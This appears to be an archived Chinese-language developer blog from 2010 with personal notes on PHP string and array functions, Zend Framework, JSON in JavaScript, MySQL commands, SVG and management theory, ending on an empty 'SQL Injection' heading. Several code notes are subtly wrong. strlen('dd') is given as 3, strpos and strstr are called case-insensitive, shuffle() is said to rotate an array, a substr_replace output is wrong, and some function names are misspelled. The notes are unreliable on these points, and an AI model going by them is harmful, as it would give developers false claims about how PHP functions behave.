$who = "World";
echo $lt;$lt;$lt;TEXT
So I said, "Hello $who"
TEXT;
//印出So I said, "Hello World,在opening token及closing token的斷行符號皆忽略

*例外 在物件中屬性無法利用Heredoc方法給值

Escaping Literal Values
Determining the Length of a String
echo strlen("te"); //2
echo strlen("dd"); //3
echo strlen("我的"); //3


Simple Searching Functionality
//找字串的起始位置
$haystack = "abcdefg";
$needle = 'abc';
if(strpos($haystack, $needle) !== false){
echo 'Found';
}


因為array從0開始,所以當在第一格即match時,會回傳0,但0會當false,所以利用!==

strstr()與strpos的差異
functionpurpose指定搜尋的index
回傳找到符合字串後的值不能
回傳符合字串的起始位置
strstr()比較慢,所以如果只是找位置的話,用strpos()比較恰當
以上兩者皆case-insensitive,要分大小寫要改用stripos(),stristr()

Matching Against a Mask
strspan($string1,$string2[,index][,length])
看好久還是看不太懂
似乎是「從index開始,利用遮罩A字串去遮B字串中的字元,至到不符合即中止」
echo strspn('133445abcdef','12345') //輸出6(13345),a開始即無法遮罩
echo strspn("PHP wzd","PHPwzd"); // 輸出3(PHP),空格處遮罩
echo strspn("faooaaol","ao",1,4); // 輸出4(aooa),跳過f開始找4個
echo strspn("foo","o",1,2); // 輸出2(oo)

Simple Search and Replace Operations
  • 取代 substr_replace(mixed $string, string $replacement )
    echo str_replace("World", "Reader", "Hello World"); //大小寫沒差,所以outputs Hello Reader
    echo str_replace("world", "Reader", "Hello World"); //大小寫有差,所以outputs Hello World

  • 一次取代多個
    echo str_replace(array("Hello", "World"),"Bye", "Hello World"); //Bye Bye
    當取代及被取代皆為array,再依array indexes對應
    echo str_replace(array("Hello", "World"), array("Bonjour", "Monde"), "Hello World"); //Bonjour Monde
  • 取代部份 substr_replace(mixed $string, string $replacement , int $start [, int $length ])
    echo substr_replace("Hello World", "Reader", 6); //Hello World
    echo substr_replace("Canned tomatoes are good", "potatoes", 7 ,8); //Canned potatoes are good

substr_replace加強版(搭配strpos())
從email取得帳號
$user = "davey@php.net";
$name = substr_replace($user, "", strpos($user, '@');
echo "Hello " . $name;


Formatting Strings
主要是在print數量及金錢單位時,會因不同國家而有不同的顯示
所以在print前 最好都先確認及設定國別
setlocale(LC_MONETARY, 'en_US');

  • Formatting Numbers
    echo unmber_format("100000.698"); //Shows 100,001 (美國會在千用逗號)
    echo unmber_format("100000.698", 3, ",", " "); //Shows 100 000,698 (改成用空格)

  • Formatting Currency Values
    會印出該國的金幣符號,ex $100,¥100
    setlocale(LC_MONETARY, 'en_US');
    echo money_format('%.2n', "100000.698"); //$100,000.70
    setlocale(LC_MONETARY, "ja_JP.UTF-8");
    echo money_format('%.2n', "100000.698"); //¥100,000.70

    setlocale(LC_MONETARY, 'en_US');
    echo money_format('%i', "100000.698"); //USD 100,000.70 //雖沒設定小數位,但美元習慣有2位小數
    setlocale(LC_MONETARY, "ja_JP");
    echo money_format('%i', "100000.698"); //JPY 100,001 沒小數位,所以併成整數

    money_format()無法在Windows平台上用,某些UNIX也無法使用

星期五, 10月 08, 2010

Zend PHP 5 Certification Study Guide 筆記 (一)

  1. basic

    • ==及===的不同
      var_dump (1 == 1);//true
      var_dump (1 == "1");//true
      var_dump (1 === 1); //true
      var_dump (1 === "1"); //false, 值要相同,同型態 (比陣列,還要Order相同)

  2. function

    • Returning Values
      function可以call by reference
      但回傳值就必需有變數
      //example 1
      function &query($sql)
      {
        $result  = mysql_query($sql);
        return $result; //return variable
      }
      
      //example 2, incorrect and will cause PHP to emit a notice when called
      function &getHollo()
      {
        return "Hello World"; //非variable
      }
      
      //example 3 also cause the warning to be issued when called
       function &test()
      {
        echo 'This is a test';
      }
    • Passing Arguments
      function hello($who = "World")
      {
       echo "Hello $who"; 
      }
      hello(); //pass in no argument and $who is assigned "World" by default
  3. Arrays

    • Array Basic
      $x[] = 10;
      $x['aa'] = 11;
      echo $x[0]; //Outputs 10
      
      //continue, what if 
      $x[0]=12; // 
      echo $x[0]; //Outputs 12, 蓋掉了 

      另外新增元素會從Array中最大的數值增加
      $a = array(2 => 5);
      $a[] = 'a'; //This will have a key of 3
      
      $b = array( '4' => 5,'a' => 'b');
      $a[] = 44; //This will have a key of 5<$/code>
      
      key中,'A'跟'a'不同,但'1'跟1相同
    • Array Operations
      $a = array(1,2,3);
      $b=array("a" => 4,5,6);
      var_dump($a + $b);
      
      //result in
      array(4){
      [0] => int(1)
      [1] => int(2) 
      [2] => int(3)
      [a] => int(4) //沒有5,6
      }
      為什麼5,6不見了?
      因為$b = ('a'=> 4,1 => 5, 2 => 6);
      而$a + $b時,被前面的$a搶走了...

      var_dump及print_r的差別
      =>一樣,但前者會印
      型態
      Comparing Arrays
      $arrayA == $arrayB   //當陣列數一樣,值一樣
      $arrayA === $arrayB //當陣列數一樣,值一樣,Order也一樣
    •  Array Iteration
      Array pointer問題
      $a = array('zero','one','two');
      foreach($a as &$v){
      }
      foreach($a as $v){
      }
      print_r($a);
      
      //outputs
      Array
      {
        [0] = zero
        [1] = one
        [2] = one //two被改one了
      }
      2個foreach都沒做事,為何會變改
      因為第一個foreach的$v是call by reference
      在迴圈結束時,$v停在$a[2](two)

      在第二個foreach時
      第1次被指向array index 0, 被assign "zero"...
      第2次被指向array index 1, 被assign "one"...
      第3次被指向array index 2, 被assign "one"(原本的值"two",在上一輪改為"one"了)
      所以囉 這不是php的bug
    • Sorting Arrays
      >>>>>
      Name說明Key
      sort($array);排序value,可加第二參數
      SORT_REGULAR, SORT_NUMERIC, SORT_STRING
      destory
      asort($array);排序value,key被保留保留
      rsort($array);sort()是ascending order,rsort()即為decending orderdestory
      arsort($array);即為decending order
      natsort($array);sort(),排序10t,2t,3t(因此10t的1先出現),此時利用natsort即可解決destory
      natcasesort($array);考慮大小寫不同destory
      ksort($array);依key排序 low to high (krsort相反)保留
      usort($array,'myCmp');user defineddestory
      uasort($array,'myCmp');保留key保留
      uksort($array,'myCmp');依key排序保留

       
    • The Anti-Sort
      Name說明
      shuffle($card);將array往後移一位(最後一個變第一個)
      array_rand($card,[, int num_req]);隨機挑n個key

       
    • Set Functionality
      Name說明
      array_diff($a,$b)$a的差集($a有什麼$b沒有的)
      array_intersect($a,$b)$a,$b的交集






星期四, 10月 07, 2010

parse json在browser上的支援問題

因為安全性問題 知道不要用eval轉json
改用JSON.parse
但幸虧有瞄到網友提醒瀏覽器的支援性
  • IE8 Beta 2以上(但只限JScript 5.8,也就是IE8標準模式)
  • Firefox 3.1 Beta 3以上(但似乎只有對JSON.parse()以及JSON.stringify()的支援)

看來只好用jquery的jQuery.parseJSON
不過要注意
因為字串的關係,所以要求key的部份要用雙引號(當然value是字串時,也是用雙引號)
//錯的格式
{test: 1} //需要引號包住
{'test': 1} //用了單引號
{"test":1} //正確的格式


另外google上的plugin jquery-json
還沒看懂 先記下來


References:
風之音 - JSON是什麼
jQuery.parseJSON

星期三, 10月 06, 2010

ie 圓角問題

ie沒實作css3 border-radius
所以沒有圓角,該怎麼辦咧
看到有高手用jQuery完成ie圓角問題
正開心的覺得有解決方案時

機車johnny又說出口頭禪「按捏未塞啦 歹看」
說圓角有鋸齒...很醜
還說看facebook在ie上是有圓角的...而且很smooth

馬上開ie用給我看
這... 嗯哉咧...












用firebug看(當然是在firefox上看)
是用css3的屬性達成的...

但ie未實作 所以應該不是用這方法解決
只是ie也沒有類似firebug的工具可以看
想說硬是從html裡找出來 慘念...
是用javascript產生的...
這下有的找了...

-- 後記 --
感謝Coud 分享ie develop tool
讓我查出來 原來fb針對ie是另外做圓角
而不是跟直接用css的border-radius屬性
有找到pop_topleft這東西 不過還沒看是用圖還什麼完成


References:
Rounded Corners in Internet Explorer
Rounded Corners in Internet Explorer Using JQuery

星期六, 10月 02, 2010

Coding Style

一直以來都是自己開發系統
也還沒跟別人合作過
快把自己的coding style好好補一下

Mr.Days建議閱讀的文章

讀了幾篇
coding style就是要讓別人可以看的懂,能很快的看出結構
以這個為出發點 本身的coding style就不會太差了
其他的技巧及convention就多讀一點囉...
  • Naming Rule
    最近聽人介紹一本書Clean Code, 感覺也挺不錯的
    看別人寫好的心得最快,以下截出幾句...
    • Use Intention-Revealing Names 
      一個命名,還需要註解來解釋它,就代表他還不夠清楚表示意思
    • Make Meaningful Distinctions
      獨自開發時容易因為一時的方便,只為了建置或開發方便,而隨手使用了不具意義或暫時的命名,往往之後帶來相當多潛在的問題
    • Use Pronounceable Names
      幫助溝通,而且不會顯得這麼愚蠢
    • Use Searchable Names 
      太容易重複出現,就會導致不容易搜尋與定位
  • Version control
    時常自己獨立完成一支程式,想想個人做Version control頂多是backup吧... 不... backup都至少是上個星期的事情了...
    fcamel的文章「養成寫程式的好習慣」,提到即便是一個人 做Version control也是有幫助的
    原本還沒想到有什麼好處
    看完後,發現自己還滿常發生facmel的說的狀況
    • 寫程式較不怕被中斷,只要 hg diff 就知道剛才改了什麼。commit 前也能清楚明白這次做了那些修改,去掉忘了除掉的 debug code。
    • 可以放心地修改,改到昏頭就 hg up -C 清掉剛才不知所云的修改,不用花費力氣將程式弄回正常的版本。
    • 寫到一半發覺要先完成另一個功能,hg shelve 暫存目前的修改,接著將另一個功能做完並 commit,再 hg unshelve 回頭做原本的事,可以輕鬆地切換目標,隨時專注在目前的目標上。
    • 若發覺某個功能忽然不能運作,hg up 切回舊的版本,做個 binary search (或用 hg bisect) 立即找到改出問題的 commit。由於每個 commit 都很精簡,看一下就會找到改爛的原因。

說到差的conding style...
我最受不了沒縮排的...
真不知道他們怎麼coding的...
哦..還有還有... 把所有東西都寫在同一個class裡的那種...

References:

星期五, 10月 01, 2010

.Net 讀Excel的讀0開頭的數值

原本把Zipcode當數值讀進來
沒想到美國有0開頭的Zipcode
造成存檔時 會少個0
於是就把Excel的儲存格(cell)改成「文字」格式
再由C#讀進Data Table

但事情就是沒這麼順利
有時讀進來是空值
也不知為什麼,後來試了一下
當把儲存格轉成「文字」格式時
該儲存格會變成有小綠標的儲存格(如下圖)

這時是可以讀進來的
但有時是沒有的... 所以要click一下這個儲存格
讓這儲存格有小綠標 這樣就ok了

p.s. 但也遇過 有小綠標 但還是讀失敗的
 不過不記得當時的情況,遇到再說吧

星期四, 9月 30, 2010

PHP mysql query

因為現在都用zend本身ActiveRecord的function去做insert
所以都沒有sql query的特殊字元問題

但有時,純用php做sql query
一直在想有什麼比較好的寫法 去過濾sql query的特殊字元問題
不是用addslashes(),就是用mysql_real_escape_string()完成
不過程式碼就變超長的
如果參數多 就不容易看出來在寫啥
$query = "SELECT * FROM users WHERE
   user = '" . mysql_real_escape_string($user) ."'
   AND '" . mysql_real_escape_string($password) ."'";


看完php api用sprintf的寫法 覺得早該這樣寫了...
雖然還是很長..... 不過感覺比較有結構了
以前寫C#就有了,不過換個語言也換個腦袋了... 居然都沒想到...
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'"
  ,mysql_real_escape_string($user)
  ,mysql_real_escape_string($password));


附上常用的參數
  • % - a literal percent character. No argument is required.
  • d - the argument is treated as an integer, and presented as a (signed) decimal number.
  • f - the argument is treated as a float, and presented as a floating-point number (locale aware).
  • F - the argument is treated as a float, and presented as a floating-point number (non-locale aware). Available since PHP 4.3.10 and PHP 5.0.3.
  • s - the argument is treated as and presented as a string.


Reference
mysql_real_escape_string
sprintf
addslashes() vs mysql_escape_string()

星期三, 9月 29, 2010

MySQL常用指令

  • 將db輸出 (console mode)
    mysqldump  -u root -p [dbname] > [dbname].sql
  • 覆蓋db (console mode)
    mysql -u root -p [dbname]  < [dbname].sql
  • 指定資料 匯入/匯出 (進入MySQL執行)
    //匯出
    select * into outfile '/mdr/data/UNLOAD/檔名.sql' from [TableName]  where ITEM='409667';
    //匯入
    load data infile '/mdr/data/UNLOAD/檔名.sql' into table [TableName]
  • 匯入/匯出 整個Table (console mode)
    //匯出
    mysqldump -r(權限) 檔名.sql -u [帳號] -p --default-character-set=big5 [dbname]  [TableName]
    //匯入
    mysql -u [帳號] -p --default-character-set=big5 [dbname]  < [檔名].sql
  • 輸出為mssql 格式
    mysqldump --compatible=mssql -u root -p phalcon > ~/phalcon_test.sql
p.s. 感謝雅湘學妹提供

PHP file 註解

一直不知道檔案註解 應該要寫些什麼
網路上看到針對PHP做的 就學學吧
從別人網站截錄過來看
  • Title - What is your script or mod called
  • Author - You name, and the name of anyone who helped or who's work you modified
  • Version - What version of the script is this? 1.0? 2.3? etc....
  • Installation Time - An idea of how long it will take the user to be up and running.
  • Included Files / Edited Files - This is a list of files that are part of your script, and in the case of a mod, files that will need to be edited.
  • Licensing - Make sure it's clear how the user may and may not use your script.
  • History - History of the mod including the change log of all previous versions.
  • Other Notes - Any other information you want to include about your script, including your support website (if you have one) or other information that may be useful

/*
 *  @Title:
 *  @Author:
 *  @Version:
 */

Reference
PHP Author Notes

星期二, 9月 28, 2010

其他browser不支援firebug console問題

先前用firebug在看log
不過遇到其他browser就會說不支援~
甚至導致程式crash, 雖然開發完就會關掉,但就很煩
於是用jQuery本身的fucntion來檢查是否為firefox
//is browser firefox
jQuery.each(jQuery.browser, function(i, val) {
    isConsoleSupported = (i=="mozilla" ); //jQuery.browser.version.substr(0,3)=="1.9"
});
if(isConsoleSupported)
  console.info(message); 
};

不過遇到firebug沒啟動 也是會掛
有時還會嚇到自己.. 以為程式掛了...
一查原來是firebug沒啟動

上網看了一下 哈 這麼簡單...
//is it support console & is console turn on
isConsoleSupported = (window.console && window.console.firebug);

//2013.4 
後來firebug團隊決定把window.console.firebug拿掉,所以一定是false,為了兼容要改成
(window.console && (window.console.firebug || window.console.exception))

完整用法
//取得console
var console = getConsole();
console.log("console works");

function getConsole(){
    if(window.console && (window.console.firebug || window.console.exception))) 
        return window.console;

     //自行產生個console,雖然不能log,但至少引用的程式不用再判斷
     console = {
          write: function() { },
          debug: function() { },
          log: function() { },
          info : function() { },
          warn : function() { },
          error : function() { }
     };

     return console; 
}

References

管理課程3 - 目標管理

目標管理一方面重要的是目標本身,因為目標指明了方向。第二是計劃,計劃實際上是我們的路徑,是以什麼樣的方式去實現目標。第三個方面是實現目標需要以人為本。簡單的說方向、路徑和人是目標管理的三個重要環節。
目標管理構成的四個方面:
  1. 目標訂立
    目標可量化(天數、金額、數量)
    不能量化,不算是目標,因為沒辦法訂定評量
    訂定目標(依需求或Capacity制定)
    • 個人目標
    • 部門目標
  2. 輔導實施
    示範、指導、檢查
    檢查最為重要,因為1.可得知是否符合規範,2.得到第一線feedback,進而改善制度,增加Capacity
  3. 評估結果
    重點:溝通
    瞭解實際情況,找出問題所在及可改善的方法
  4. 修正
關於這四個方面我們中間所需要做的事情是大量的溝通,關於目標的溝通,關於我們用什麼樣的方法去達成目標的溝通。
目標管理的基本程式
  目標管理的具體做法分三個階段:
第一階段為目標的設置;
第二階段為實現目標過程的管理;
第三階段為測定與評價所取得的成果。
  
  1. 目標的設置
      這是目標管理最重要的階段,第一階段可以細分為四個步驟:
      ①高層管理預定目標,這是一個暫時的、可以改變的目標預案。即可以上級提出,再同下級討論;也可以由下級提出,上級批准。無論哪種方式,必須共同商量決定;其次,領導必鬚根據企業的使命和長遠戰略,估計客觀環境帶來的機會和挑戰,對本企業的優劣有清醒的認識。對組織應該和能夠完成的目標心中有數。
      ②重新審議組織結構和職責分工。目標管理要求每一個分目標都有確定的責任主體。因此預定目標之後,需要重新審查現有組織結構,根據新的目標分解要求進行調整,明確目標責任者和協調關係。
      ③確立下級的目標。首先下級明確組織的規劃和目標,然後商定下級的分目標。在討論中上級要尊重下級,平等待人,耐心傾聽下級意見,幫助下級發展一致性和支持性目標。分目標要具體量化,便於考核;分清輕重緩急,以免顧此失彼;既要有挑戰性,又要有實現可能。每個員工和部門的分目標要和其他的分目標協調一致,支持本單位和組織目標的實現。
      ④上級和下級就實現各項目標所需的條件以及實現目標後的獎懲事宜達成協議。分目標制定後,要授予下級相應的資源配置的權力,實現權責利的統一。由下級寫成書面協議,編製目標記錄卡片,整個組織彙總所有資料後,繪製出目標圖。
  2.   
  3. 實現目標過程的管理
      目標管理重視結果,強調自主,自治和自覺。並不等於領導可以放手不管,相反由於形成了目標體系,一環失誤,就會牽動全局。因此領導在目標實施過程中的管理是不可缺少的。首先進行定期檢查,利用雙方經常接觸的機會和信息反饋渠道自然地進行;其次要向下級通報進度,便於互相協調;再次要幫助下級解決工作中出現的困難問題,當出現意外、不可測事件嚴重影響組織目標實現時,也可以通過一定的手續,修改原定的目標。
  4.   
  5. 總結和評估
      達到預定的期限後,下級首先進行自我評估,提交書面報告;然後上下級一起考核目標完成情況,決定獎懲;同時討論下一階段目標,開始新迴圈。如果目標沒有完成,應分析原因總結教訓,切忌相互指責,以保持相互信任的氣氛。
目標管理的四個步驟
  由於各個組織活動的性質不同,目標管理的步驟可以不完全一樣,但一般來說,可以分為以下四步。
  
  1. 建立一套完整的目標體系
    實行目標管理,首先要建立一套完整的目標體系。這項工作總是從企業的最高主管部門開始的,然後由上而下地逐級確定目標。上下級的目標之間通常是一種 “目的一手段”的關係;某一級的目標,需要用一定的手段來實現,這些手段就成為下一級的次目標,按級順推下去,直到作業層的作業目標,從而構成一種鎖鏈式的目標體系。
      制定目標的工作如同所有其他計劃工作一樣,非常需要事先擬定和宣傳前提條件。這是一些指導方針,如果指導方針不明確,就不可能希望下級主管人員會制定出合理的目標來。此外,制定目標應當採取協商的方式,應當鼓勵下級主管人員根據基本方針擬定自己的目標,然後由上級批准。
      目標體系應與組織結構相吻合,從而使每個部門都有明確的目標,每個目標都有人明確負責。然而,組織結構往往不是按組織在一定時期的目標而建立的,因此,在按邏輯展開目標和按組織結構展開目標之間,時常會存在差異。其表現是,有時從邏輯上看,一個重要的分目標卻找不到對此負全面責任的管理部門,而組織中的有些部門卻很難為其確定重要的目標。這種情況的反覆出現,可能最終導致對組織結構的調整。從這個意義上說,目標管理還有助於搞清組織機構的作用。
  2.   
  3. 組織實施
    目標既定,主管人員就應放手把權力交給下級成員,而自己去抓重點的綜合性管理。完成目標主要靠執行者的自我控制。如果在明確了目標之後,作為上級主管人員還像從前那樣事必躬親,便違背了目標管理的主旨,不能獲得目標管理的效果。當然,這並不是說,上級在確定目標後就可以撒手不管了。上級的管理應主要表現在指導、協助。提出問題,提供情報以及創造良好的工作環境方面。
  4.   
  5. 檢查和評價
    對各級目標的完成情況,要事先規定出期限,定期進行檢查。檢查的方法可靈活地採用自檢、互檢和責成專門的部門進行檢查。檢查的依據就是事先確定的目標。對於最終結果,應當根據目標進行評價,並根據評價結果進行獎罰。經過評價,使得目標管理進入下一輪迴圈過程。

星期三, 9月 22, 2010

JSON toString

不知道json結構是件挺麻煩的事
怎麼看json結構咧 很簡單就
var iamjson = {id:1};
JSON.stringify(iamjson );


不過日子一久
就忘了這個function...
又花一些時間上網找
還有看到有人寫iamjson .toJSONString();
不過出現script error 指出沒這function
就很氣當時沒記下來 測試完就把段code給刪了
這次要寫好筆記... 不然又要花時間找了
都寫了 就順便寫JSON其他的function

取代eval
var myObject = JSON.parse(myJSONtext, reviver);

Reference
JSON in JavaScript

星期二, 9月 21, 2010

clone json object

利用jquery可以很輕易的複製dom裡的object
$("input").clone();

但想複製json就沒辦法了
截錄了網友的做法
JSON.clone = function (obj) {
return JSON.parse( JSON.stringify( obj ) );
};

var obj = { "date": "2009-03-05", "amount": "0.1" };
var clonedObj = JSON.clone(obj);


A more elegant browser independent solution comes from Marijn Haverbeke (Elegant JavaScript):
function clone(o) {
function OneShotConstructor(){}
OneShotConstructor.prototype = o;
return new OneShotConstructor();
}


最後查一下jQuery本身的方法
利用extend的方法來當成一個新的
雖然感覺...怪怪的...
不過也算是簡單的達到目的了
var shot = {id:1,x=2,y=3};

//Method 2 jQuery.extend( [ deep ], target, object1, [ objectN ] ) v1.1.4
var newShot = jQuery.extend(true, {}, shot); //沒有target,而是直接return


Reference

星期一, 9月 20, 2010

JQuery UI - event 回傳參數 ui 結構

記得前陣子不知聽誰說的
說亞洲人都不看說明書
拿到東西就亂試
外國人就會好好的研究使用說明書
再來看怎麼用

最近用jquery ui也是
都已經用2年了 頂多看範例
也不會去看Overview什麼的
反正google很方便

在用jquery ui時 每當有event(ex. draggable的start, drag, stop)
都會回傳function(event,ui)參數(官網固定的回傳值)
反正也沒有要用到,找到符合的event就用了 也沒去看callback參數
即使是想知道目前dragging的item是哪個 也是靠其他方法解決 (其實是不知道ui結構)
當然回傳的ui一定是必要的資訊,但看不出來回傳的ui結構是啥 也沒辦法用
看著官網說明文字範例 每個event都是回傳function(event,ui)
但就是沒說明ui是啥米... 真是氣死

這次用sortable又遇到這問題
想要找到目前被搬動的item,但ui結構不知道
下定決心要用callback的parameters找出目前的item (其實是用其他方法解決不了,逼不得已)
勉強把ui的架構印出來,第一層還好,只有5,6個
看到sender就很開心,但沒想到是null...
只好印其他為object型態的value
一印真是不得了,又臭又長... 都不想看了...

最後還是google找到一篇說明sotrable的ui回傳結構
一看才發現,我咧~~
原來官網上面每個ui的overview就寫的清清楚楚該ui回傳結構 …羞
看到ui.item的說明,就可以知道想要的東西就是這個啦
$(ui.item).attr("id"); //取得id, 其他的就以此類推
以後要先讀好說明手冊 (我自己都不相信我會讀...)

p.s.至於sender為何是null,圖有文字被截掉了,總之官網上寫only exists if you move from one connected list to another,所以囉...

Reference
JQuery UI - sortable

mysql 權限管理

管理可連線的Host及其帳戶
透過PhpMyAdmin來做 卻一直失敗
本以為是PhpMyAdmin flush privileges有問題
但試完後,還是失敗
後來改用console模式進去做 就成功了...

範例從references2抄來的
允許 someone 從任何主機連入
mysql> grant usage on *.* to someone@'%' identified by 'passwd';
mysql> flush privileges;
mysql> exit

p.s. 記得開放相關table讀取權限,不然又讀不到

References
  1. Specifying Account Names 
  2. mysql 權限管理備忘

星期二, 9月 14, 2010

Zend - Internationalization

  • Zend_Locale
    多國語系需用
    1.Localization(i10n) 及
    2.Internationalization(i18n)達成
    i18n是Internationalization,l10n是Localization。
    一個是國際化,一個是本土化,差異應該聽的出來了,其他的就google吧
    因為國際化的單字太長了,所以把中間18個字以18作替代,而本土化中間的10個字以10作替代。
  • Zend_Translate
    Zend_Translate is Zend Framework's solution for multilingual applications.

    In multilingual applications, the content must be translated into several languages and display content depending on the user's language. PHP offers already several ways to handle such problems, however the PHP solution has some problems
  • Zend_Date
  • Zend_Currency
  • Zend_View_Helper_Trans

星期日, 9月 12, 2010

Zend - Infrastructure

  • Zend_Config
    • Use/Purpose

      designed to simplify access to, and use of , configuration data within applications.
    • Multiple Environs

      • PHP Array
        <?php

        //Given an array of configuration data
        $configArray = array(
        'webhost' => 'ww.example.com',
        'database' => array(...
        )
        );

        //Create the object-oriendted wrapper upon the configuration dataconsumption
        require_once 'Zend/Config.php';
        $config = new Zend_Config(configArray );
        //Print a configuration datum (results in 'ww.example.com')

        echo $config->webhost;
      • PHP Configuration File
        <?php
        //config.php
        return array(
        'webhost' => 'ww.example.com',
        'database' => array(...


        <?php
        //Configuration consumption
        require_once 'Zend/Config.php';
        $config = new Zend_Config(require 'config.php');

        //Print a configuration datum (results in 'ww.example.com')
        echo $config->webhost;

        Zend_Config實作了Countable及Iterator interfaces,因此可用count()及foreach
        Two Zend_Config objects can be merged into a single object using the merge() function
    • .ini Files

      • .ini可宣告[production],[testing],[development]等,配合環境變數讀取不同的config

        $config = new Zend_Config_Ini('/path/to/config.ini'),'staging');
        echo $config->database->params->hosts;
        [staging:production] //staging繼承production的變數
        不要把變數內容值用單引號包起來,會把單引號當成值
      • Zend_Config_Xml

        $config = new Zend_Config_Xml('/path/to/config.xml'),'staging');
        echo $config->database->params->hosts;

    • Bootstrap File
    • Config Objects
  • Zend_Exception
    Purpose: recover from the failure
    <?php
    try{
    Zend_Loader::loadClass('nonexistantclass');
    }catch (Zend_Exception $e){
    echo "Caught exception: " . get_class($e) . "\n";
    echo "Message: " . $e->getMessage() . "\n";
    //other code to recover from the failure;
    }

  • Zend_Registry
    Purpose: a container for storing objects and values in the application space.
    Constructing a Registry
    <?php
    $registry = new Zend_Registry(array('index' => $value));


    Initializing the Static Registry
    <?php
    Zend_Registry::setInstance(array('index' => $value));


    The setInstance() method throws Zend_Exception if the static registry has already been initialized
  • Zend_Version
    <?php
    //return -1(older), 0(the same) or 1(newer)
    $cmp = Zend_Version::compareVBersion('1.0.0');
  • Zend_Loader
    Purpose: includes methods to help you load files dynamically
    Zend_Loader::loadFile($filename,$path,$once) is a wrapper for the PHP function include() and throws Zend_Exception on failure.
    limit: $filename argument can only contain alphanumeric characters, hyphens("-"), or periods("."), and must not contain any path information.
    $once is boolean, if TRUE, equals include_once(), otherwise include() is used.

    Loading Classes
    limit:同loadFile,多了underscores("_")
    Zend_Loader::loadClass($class, $dirs)
    $class = "Container_Tree"; //equals Container/Tree.php
    <?php
    Zend_Loader::loadClass('Container_Tree',
     array(
      '/home/productioin/mylib',
      '/home/productioin/myapp'
     )
    );

    會在給予的路徑參數中找claess,如果找不到就丟了Zend_Exception
    Plugin Loader
    <?php
    $loader = new Zend_Loader_PluginLoader();
    $loader->addPrefixPath('Zend_View_Helper', 'Zend/View/elper/')
        ->addPrefixPath('Foo_View_Helper','application/modules/foo/views/helpers');
  • Zend_Session
    Purpose: helps manage and preserve session data, a logical complement of cookie data, across multiple page requests by the same client.

    Zend_Session_Namespace

    就是PHP中的$_SESSION
    $sess = new Zend_Session_Namespace();
    $sees->tree = $tree;

    Operation

    當第一個session被requested時,Zend_Session就自動啟動PHP session,不必等到Zend_Session::start().
    The PHP session will use defaults from Zend_Session, unless modified by Zend_Session::setOptions().

星期三, 9月 08, 2010

html無敵畫圖、畫線

用網頁畫圖的效果總是差強人意
因為都是div去組 太多效率變很差
少的話 鋸齒又很嚴重
總是沒有漂亮的線條
畫出來的線很醜,總是被美工嫌 (johhny... 再記你一筆)

後來看google map畫的導航路線真是漂亮
看起來也不像是圖 但也不是用div畫的
利用firebug看了是用svg的tag組成
還以為是google自己開發的component
想想也不太可能 因為也要browser支援
好奇查了一下 原來早就有SVG這東西了
不過是2008年才成為W3C的標準
wiki上解釋為
「SVG嚴格遵從XML語法,並用文字格式的描述性語言來描述影像內容,因此是一種和影像解析度無關的矢量圖形格式」

開心的試了一下 哦耶~~ 這東西真是帥呆了

//SVG畫直線
"M30,0L100,110"


看圖就可以知道差異很大了
再看這張誘人的M字腿... ㄟ 我是說麥當當的曲線圖
看到那曲線好細膩.. 我好感動
就像從vcd進步到dvd畫質一樣...

更強的是還可以做到動畫效果
這不就是一直輸flash的地方嗎
看到動畫的效果都快哭了...
好像從dvd進步到blue-ray... (好像沒相關...硬要接一下梗)
從此做動畫不再是flash的天下了... ya~~~ flash書拿去丟一丟 (好啦 還是有差啦...)
路人:那silverlight?
謎之音:silverlight?那是什麼東西? 好吃嗎?

不過就是svg的語法難懂了點
畢竟要把程式及圖型表示全用文字來形容...
工欲其善,先利其器...
就用SVG編輯器來做吧...

Library
Raphael
在ie8時,出現raphel vml  null或 什麼物件不存在,看一下是不是用了顏色名稱
ex: stroke:red, 即會發生
改用stroke:#ff0000取代
References
wiki SVG

星期二, 8月 31, 2010

記憶卡格式化及救回

救回記憶卡里的檔案(格式化後也有效)
不小心手殘把記憶卡格式化了
怎麼救呢

SD/SDHC記憶卡低階格式化程式!
為什麼要低階格式化,想想陳冠希事件就知道為什麼啦

星期五, 8月 27, 2010

資訊人...

這幾天有同事離職
所以正努力找人要接php的部份
昨天上頭丟了一份履歷來
看了一下年紀已經39歲... (雖然我也邁入而立之年)

再看一下履歷
雖然技術用的不多,不過開發過不少網站,也有相當的經驗
只不過都是運用.net開發,但我們是要找php的人材,也就是懂LAMP的最好
剛再透過電話訪談得知
對方最近有用php開發個case
不過對很多名詞不瞭解,Linux方面當然也不熟
雖然這跟他無關 本來就是用不同技術開發

只是剛突然有感觸...
資訊人總是要不斷學習新的技術...
舊的技術雖然有一定的效果在,但仍已是昨日黃花
年輕時沒感覺,反正也不懂,學就對了
大家都不會 學起來就很屌
現在有點年紀,就開始能瞭解到新的技術學不完
也體會到以前聽人說:「資訊這行業,什麼時候踏進來都可以」

學如逆水行舟呀...大家加油吧


p.s. 老闆又丟了一份履歷,這一位45歲....

星期一, 8月 16, 2010

A way to read the color of a pixel

method:imagecolorat($img, $x, $y)

example
<?php
$img = imagecreatefrompng("image1.png");

$w = imagesx($img);
$h = imagesy($img);

for($y=0;$y<$h;$y++) { for($x=0;$x<$w;$x++) { $rgb = imagecolorat($img, $x, $y); $r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
echo "#".str_repeat("0",2-strlen(dechex($r))).dechex($r).
str_repeat("0",2-strlen(dechex($g))).dechex($g).
str_repeat("0",2-strlen(dechex($b))).dechex($b).",";
}
echo "
\r\n";
}
>

Reference
http://php.net/manual/en/book.image.php

星期二, 7月 06, 2010

Zend - controller間的互動 actionstack

想在

寫法(from 官網)
class FooController extends Zend_Controller_Action
{
    public function barAction()
    {
        // Add two actions to the stack
        // Add call to /foo/baz/bar/baz
        // (FooController::bazAction() with request var bar == baz)
        $this->_helper->actionStack('baz',
            'foo',
            'default',
            array('bar' => 'baz'));

        // Add call to /bar/bat
        // (BarController::batAction())
        $this->_helper->actionStack('bat', 'bar');

        //加parameters及改變controller, action
        $request->setParamSources(array('_POST')) //後記 好像不是這麼用...
            ->setParams(array(
            'log_userid' => $userid
            ,'log_controller'=>$request->getControllerName()
            ,'log_action'=>$request->getActionName()))
            ->setActionName('add')
            ->setControllerName('Logger');
        }
}


參數問題
//利用setParams
$request->setParams(array('param1' => '1')); //param1=1

//也要利用getParams取出
$data = $request->getParams(); //param1=1
echo $data['param1']


redirect問題
不過如果最後是用到redirect的話,actionStack就掛了
最後只好不轉頁,直接把想轉頁的地方加入actionStact

References:
actionstack

星期一, 6月 28, 2010

SQL Injection

